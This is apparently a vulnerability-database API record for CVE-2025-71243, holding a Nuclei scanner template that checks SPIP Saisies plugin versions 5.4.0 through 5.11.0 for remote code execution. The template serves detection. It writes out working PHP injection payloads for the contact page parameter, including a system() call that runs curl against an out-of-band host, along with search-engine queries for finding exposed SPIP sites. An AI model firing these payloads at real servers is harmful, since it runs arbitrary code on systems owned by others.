{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-71243/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-71243/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-71243/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-71243/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-71243/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-71243"},"sightings":{"href":"/api/v1/sightings/cve-2025-71243"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-71243.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2025-71243\n\ninfo:\n  name: SPIP Saisies - Remote Code Execution\n  author: omarkurt\n  severity: critical\n  description: |\n    SPIP Saisies plugin 5.4.0 through 5.11.0 contains a remote code execution caused by an unspecified flaw, letting attackers execute arbitrary code on the server, exploit requires no special conditions.\n  remediation: |\n    Update to version 5.11.1 or later.\n  impact:\n    Attackers can execute arbitrary code on the server, potentially leading to full system compromise.\n  reference:\n    - https://vulnerability.circl.lu/vuln/cve-2025-71243\n    - https://chocapikk.com/posts/2026/spip-saisies-rce/\n    - https://github.com/Chocapikk/CVE-2025-71243\n    - https://vulnerabletarget.com/VT-2025-71243\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2025-71243\n    epss-score: 0.05595\n    epss-percentile: 0.92933\n    cwe-id: CWE-94\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: spip\n    product: saisies\n    shodan-query: 'http.html:\"SPIP\"'\n    fofa-query: 'app=\"SPIP\"'\n  tags: cve,cve2025,spip,rce,oast,vkev\n\nvariables:\n  rce_payload: \"x'/><?php echo md5('{{randstr}}'); ?><input value='x\"\n  oob_payload: \"x'/><?php gethostbyname('{{interactsh-url}}'); ?><input value='x\"\n  oob_curl: \"x'/><?php system('curl+-s+{{interactsh-url}}'); ?><input value='x\"\n\nflow: http(1) && (http(2) || http(3) || http(4))\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(header, \"Composed-By: SPIP\")'\n          - 'contains(header, \"X-Spip-Cache:\")'\n        condition: or\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/spip.php?page=contact&_anciennes_valeurs={{url_encode(rce_payload)}}\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"{{md5(randstr)}}\")'\n          - 'status_code == 200'\n        condition: and\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/spip.php?page=contact&_anciennes_valeurs={{url_encode(oob_payload)}}\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(interactsh_protocol, \"dns\")'\n          - 'status_code == 200'\n        condition: and\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/spip.php?page=contact&_anciennes_valeurs={{url_encode(oob_curl)}}\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(interactsh_protocol, \"http\") || contains(interactsh_protocol, \"dns\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4a0a00473045022047124242175aaf0f76b3f9ae3ebf26548ee3fccb1a81688893012b943cea563d022100f91ab6e299670169c6c3bebca5c342f3d616c873e81a1fad4b1a85163079c146:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2025-71243"}